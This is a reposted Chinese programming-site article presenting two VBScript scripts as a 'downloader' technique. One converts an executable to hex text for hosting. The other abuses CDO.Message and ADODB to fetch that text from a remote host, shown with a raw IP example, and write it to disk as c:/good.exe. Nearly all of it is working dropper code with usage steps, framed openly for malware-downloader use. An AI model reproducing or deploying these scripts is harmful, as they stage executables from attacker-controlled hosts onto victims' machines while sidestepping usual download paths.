首页 > 编程 > VBScript > 正文

VBS下载文件的新方法

2020-06-26 18:24:54
字体:
来源:转载
供稿:网友
用vbs实现文件下载的代码,CDO.MESSAGE可以访问网络下载东西,说是研究研究或许可以用来当下载者用。
 
BLOG备份脚本时发现 CDO.MESSAGE可以访问网络下载东西,说是研究研究或许可以用来当下载者用。 
于是研究了一会。写出个粗糙的DEMO。 
exe2hex.vbs //xiaolu写的exe2vbs ,我修改成直接拖放,转成十六进制 
================================================ 
复制代码代码如下:

'code by xiaolu 
'change by NetPatch 
on error resume next 
set arg=wscript.arguments 
if arg.count=0 then wscript.quit 
do while 1 
fname=arg(0) 
err.number=0 
Set Ado = CreateObject("adodb.stream") 
With Ado 
.Type = 1 
.open 
.loadfromfile fname 
ss = .read 
End With 
if err.number<>0 then 
if msgbox("文件打开错误!",1,"File2VBS")=2 then Wscript.quit 
else 
exit do 
end if 
loop 
if fname="" then Wscript.quit 
Set Fso=CreateObject("Scripting.FileSystemObject") 
Set File=fso.OpenTextFile(arg(0)&".htm",2, True) 
File.write Bin2Str(ss) 
File.close 
Set fso=nothing 
Ado.close 
set Abo=nothing 
Function Bin2Str(Re) 
For i = 1 To lenB(Re) 
bt = AscB(MidB(Re, i, 1)) 
if bt < 16 Then Bin2Str=Bin2Str&"0" 
Bin2Str=Bin2Str & Hex(bt) 
Next 
End Function 

====================================== 
下载者 down.vbs 
============= 
[code] 
on error resume next 
set arg=wscript.arguments 
if arg.count=0 then wscript.quit 
'code by NetPatch 
'cscript down.vbs http://122.136.32.55/demo.htm c:/good.exe 
Set Mail1 = CreateObject("CDO.Message") 
Mail1.CreateMHTMLBody arg(0),31 
ss= Mail1.HTMLBody 
Set Mail1 = Nothing 
Set RS=CreateObject("ADODB.Recordset") 
L=Len(ss)/2 
RS.Fields.Append "m",205,L 
RS.Open:RS.AddNew 
RS("m")=ss&ChrB(0) 
RS.Update 
ss=RS("m").GetChunk(L) 
Set s=CreateObject("ADODB.Stream") 
with s 
.Mode = 3 
.Type = 1 
.Open() 
.Write ss 
.SaveToFile arg(1),2 
end with 
================================== 
demo.htm内容时用exe2hex.vbs转EXE后获得的 
使用方法: 
1.exe2hex.vbs 把exe转成十六进制,放到网络上 
2.down.vbs http://xxx/demo.htm c:/good.exe

发表评论 共有条评论
用户名: 密码:
验证码: 匿名发表